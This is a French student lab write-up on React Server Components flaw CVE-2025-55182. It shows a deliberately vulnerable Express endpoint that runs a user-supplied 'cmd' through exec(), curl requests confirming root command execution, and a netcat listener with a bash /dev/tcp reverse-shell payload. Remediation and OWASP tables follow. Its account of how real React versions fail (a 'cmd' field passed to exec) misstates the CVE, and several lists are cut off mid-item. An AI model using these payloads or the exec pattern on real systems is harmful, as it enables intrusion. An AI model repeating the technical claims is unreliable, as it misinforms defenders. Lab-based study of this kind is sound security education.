
Analyse de recherche en sécurité et d'exploitation de CVE-2025-55182 (React) — Mappage CVSS + OWASP Top 10
Analyse de vulnérabilité d'application web · M2 Cybersécurité · 2025 Auteur : Niane Mohamed · LinkedIn
Chaîne d'exploitation de bout en bout d'une vulnérabilité de désérialisation non sécurisée critique (CVSS 10.0) dans React Server Components, de la reconnaissance à l'exécution de code à distance non authentifiée, avec une feuille de route de remédiation complète.
Cette recherche cible une application de laboratoire délibérément vulnérable construite pour démontrer la CVE. Tous les tests ont eu lieu dans un réseau virtuel isolé sans connexion aux systèmes de production, aux données utilisateur réelles ou aux services tiers.
| Champ | Valeur |
|---|---|
| CVE | CVE-2025-55182 |
| Classe | Désérialisation non sécurisée → Exécution de code à distance |
| CVSS v3.1 | 10.0 (Critique) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Authentification requise | Aucune |
| Interaction utilisateur requise | Aucune |
| Vecteur d'attaque | Réseau (distant) |
| Composant | Runtime React Server Components (RSC) |
React Server Components a introduit un nouveau format de sérialisation pour diffuser les composants rendus par le serveur vers le client. Dans les versions vulnérables, le point de terminaison RSC accepte une charge utile JSON avec un champ cmd qui est passé non nettoyé à child_process.exec() dans le cadre de l'évaluation du rendu côté serveur.
Un attaquant peut envoyer une requête POST malveillante qui :
root dans les conteneurs)| Composant | Plage vulnérable | Corrigé dans |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| Rôle | Système d'exploitation | Outils |
|---|---|---|
| Attaquant | Kali Linux (dernière version) | nmap, curl, netcat, OWASP ZAP, Firefox |
| Cible | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| Réseau | VMware VMnet Host-Only | Aucune sortie Internet |
Un serveur Express + RSC minimal exposant un point de terminaison /rsc qui exécute de manière dangereuse les commandes de la charge utile entrante — reproduisant le modèle de vulnérabilité de la vraie CVE de manière contrôlée :
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
L'en-tête X-Powered-By: Express et le port inhabituel 3000 fournissent une forte empreinte indiquant qu'il s'agit d'une application Node.js — cohérente avec les déploiements RSC.
Avant de tenter quoi que ce soit de destructeur, validez la vulnérabilité avec une commande inoffensive :
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ Confirmé : RCE non authentifiée en tant que root. Le serveur s'exécute avec des privilèges sans contrainte.
Passer de l'exécution de commande unique à un shell interactif complet :
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
Le récepteur reçoit :
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
Avec root sur la cible, un attaquant pourrait trivialement :
/etc/shadow, les clés SSH, les secrets d'application, les fichiers .env| Axe | Impact | Explication |
|---|---|---|
| Confidentialité | Critique | Accès en lecture complet à toutes les données du serveur |
| Intégrité | Critique | Capacité de modifier le code de l'application et les données utilisateur |
| Disponibilité | Élevée | L'attaquant peut interrompre le service ou le prendre en otage |
| Réglementaire | Grave | Violation du RGPD/DSGVO avec divulgation obligatoire sous 72h · amende potentielle de 4% du chiffre d'affaires mondial |
| Réputationnel | Grave | Une faille mappée à une CVE publique nuit à la confiance des clients |
| Financier | Élevé | Réponse aux incidents, amendes réglementaires, éventuelle action collective |
La faible complexité de cette attaque — pas d'authentification, pas d'interaction utilisateur, une seule requête HTTP — la rend attrayante pour :
Mettre à jour React vers 19.3.0+ — version corrigée
npm update react react-server-dom-webpack react-server-dom-esm
Règle WAF temporaire (si la mise à jour est retardée) :
Block POST requests to /rsc with JSON body containing "cmd" field
Réponse d'urgence aux incidents :
/rsc inhabituel| Contrôle | Objectif |
|---|---|
| Désactiver RSC si inutilisé | Réduire la surface d'attaque — de nombreuses applications n'ont pas besoin de composants serveur |
| Validation stricte des entrées | Rejeter tout objet désérialisé contenant des clés exécutables |
| Utilisateur conteneur non root | Limiter l'impact si RCE se reproduit |
| Système de fichiers racine en lecture seule | Empêcher la persistance et le dépôt de binaires |
| Filtrage du trafic sortant | Bloquer le trafic sortant des serveurs d'application vers des IP arbitraires |
| Contrôle | Objectif |
|---|---|
| WAF avec analyse comportementale | Détecter les charges utiles POST anormales au-delà des règles de signature |
| Protection des applications au moment de l'exécution (RASP) | Bloquer les appels de fonctions dangereux comme exec() à l'exécution |
| SCA dans le CI/CD | Attraper les dépendances vulnérables avant le déploiement (pip-audit, npm audit, Trivy) |
| Cadence de tests d'intrusion | Annuel + après chaque version majeure |
| Programme de bug bounty | Inciter à la divulgation de bonne foi avant que les attaquants ne trouvent les problèmes |
| Catégorie OWASP | Pertinence |
|---|---|
| A03:2021 — Injection | Injection de commande via une entrée désérialisée |
| A08:2021 — Défaillances de l'intégrité des logiciels et des données | Désérialisation non sécurisée sans vérification d'intégrité |
| A06:2021 — Composants vulnérables et obsolètes | Utilisation de React 19.0-19.2 après divulgation |
| A05:2021 — Mauvaise configuration de sécurité | Exécution de Node.js en tant que root, pas de validation des entrées |
curl, ingénierie de shell inversé, création de charges utilesLicence MIT — voir LICENSE
Publié à des fins éducatives et de recherche défensive. Voir l'avis de non-responsabilité éthique en haut.
Niane Mohamed — Ingénieur Réseau & Sécurité 📍 Nouakchott, Mauritanie → à la recherche d'opportunités en Allemagne 🇩🇪 📧 [email protected] · 🔗 LinkedIn